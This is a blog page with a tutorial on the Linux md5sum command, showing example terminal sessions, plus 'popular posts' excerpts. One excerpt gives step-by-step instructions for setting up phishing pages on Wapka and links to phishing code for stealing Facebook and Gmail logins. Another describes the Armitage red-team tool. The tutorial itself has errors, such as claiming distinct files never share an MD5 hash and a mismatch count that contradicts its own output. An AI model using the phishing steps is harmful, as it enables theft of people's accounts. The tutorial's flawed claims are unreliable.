Skip to main content

md5sum example

5 Practical “md5sum” Command Usage Examples in Linux

This tutorial explains Linux “md5sum” command, options and its usage with examples.
“md5sum” command is used to compute and check MD5 message digest. This post describes “md5sum” command used in Linux along with usage examples and/or output. Usage:
md5sum [OPTION]… [FILE]…
The MD5 message-digest algorithm is a widely used cryptographic hash function that produces a 128-bit (16-byte) hash value.Two non identical files will never have the same md5sum value.However, it has since been shown that MD5 is not collision resistant;[3] as such, MD5 is not suitable for applications like SSL certificates or digital signatures that rely on this property.
Here’s the listing of example usage of “md5sum” command:
1. To calculate md5sum(md5sum file_path):
sanfoundry-> md5sum out.txt 
fa328c3f84352dc7ff5e32bba2ac833c  out.txt
Note
md5sum command is not usable for the directories.
2. To compute and verify checksum of files(md5sum -c file_path):
sanfoundry-> md5sum *.txt 
d41d8cd98f00b204e9800998ecf8427e  1.txt
743268534af6fb128bf4dd7f4914b1c8  2.txt
d41d8cd98f00b204e9800998ecf8427e  link.txt
fa328c3f84352dc7ff5e32bba2ac833c  out.txt
sanfoundry-> md5sum *.txt > x.md5
sanfoundry-> md5sum -c x.md5 
1.txt: OK
2.txt: OK
link.txt: OK
out.txt: OK
“-c” option checks the status of the files and if there is any change it gives error.
sanfoundry-> vi 1.txt 
sanfoundry-> md5sum -c x.md5 
1.txt: FAILED
2.txt: OK
link.txt: OK
out.txt: OK
md5sum: WARNING: 2 computed checksums did NOT match
If link.txt is the link file of 1.txt then it also get changed and md5sum also FAILED to cross verify it.
sanfoundry-> vi 1.txt 
sanfoundry-> md5sum -c x.md5 
1.txt: FAILED
2.txt: OK
link.txt: FAILED
out.txt: OK
md5sum: WARNING: 2 computed checksums did NOT match
3. To read in binary mode(md5sum -b file_path):
sanfoundry-> md5sum 1.txt 
764efa883dda1e11db47671c4a3bbd9e  1.txt
sanfoundry-> md5sum -b 1.txt 
764efa883dda1e11db47671c4a3bbd9e *1.txt
sanfoundry-> md5sum --binary 1.txt 
764efa883dda1e11db47671c4a3bbd9e *1.txt
“-b” option is equivalent to “–binary” option.
Treat all input files as binary. This normally does not make any difference on UN*X systems but some systems have a different internal and external representation of texts (especially the end-of-line characters).
4. To read in text mode(md5sum -t file_path):
Treat all input files as text files. This is the reverse option to –binary.
sanfoundry-> md5sum -t 1.txt 
764efa883dda1e11db47671c4a3bbd9e  1.txt
5. To print version information on standard output then exit(md5sum -v):
sanfoundry-> md5sum --version
md5sum (GNU coreutils) 8.13
Copyright (C) 2011 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
 

Comments

Popular posts from this blog

How to hack Facebook ,gmail , teen patti 2016

2016 latest trick to hack fb gmail etc 1. OpenWapka.mobi 2. Login with your Wapka account onWapka.mobior create a new one. 3. Now scroll down and open your Site( or create a new one & then click manage it ) 4. Now Click on Admin Mode 5. Click on#EDIT SITEoption at the bottom right side of your page. See image shown below.6. Then Click on WML/XHTML code option. 7. Copy All the HTML codes Given below click here for getting code Codes for gmail:-  http://pastebin.com/ckj1hh1L Fb security:-    http://www.iwebtool.com/tool/tools/code_viewer/code_viewer.php?domain=facebooktrickzone.wapka.mobi%2Fsite_0.xhtml&clientAction=534.click Other codes Autoliker Phishing Code for Facebook —    http://pastebin.com/G9G2bTpQ simple facebook login page code — http://pastebin.com/pE55h7GkAutoliker Facebook Phishing Code —- http://pastebin.com/Zakn5yhQAutoliker Phishing Code for Facebook level 2 —- http://pastebin.com/7R0NFCFJ New Fb security Phishin...

Armitage in Kali Linux

About Armitage Armitage is a scriptable red team collaboration tool for Metasploit that visualizes targets, recommends exploits and exposes the advanced post-exploitation features in the framework. Through one Metasploit instance, your team will: Use the same sessions Share hosts, captured data, and downloaded files Communicate through a shared event log Run bots to automate red team tasks Armitage is open source software developed by Raphael Mudge's company Strategic Cyber LLC. However, Cobalt Strike is the commercially supported big brother of Armitage. Armitage organizes Metasploit's capabilities around the hacking process. There are features for discovery, access, post-exploitation, and maneuver. This section describes these features at a high-level, the rest of this manual covers these capabilities in detail. Armitage's dynamic workspaces let you define and switch between target criteria quickly. Use this to segment thousands of hosts into target sets. Armitage also ...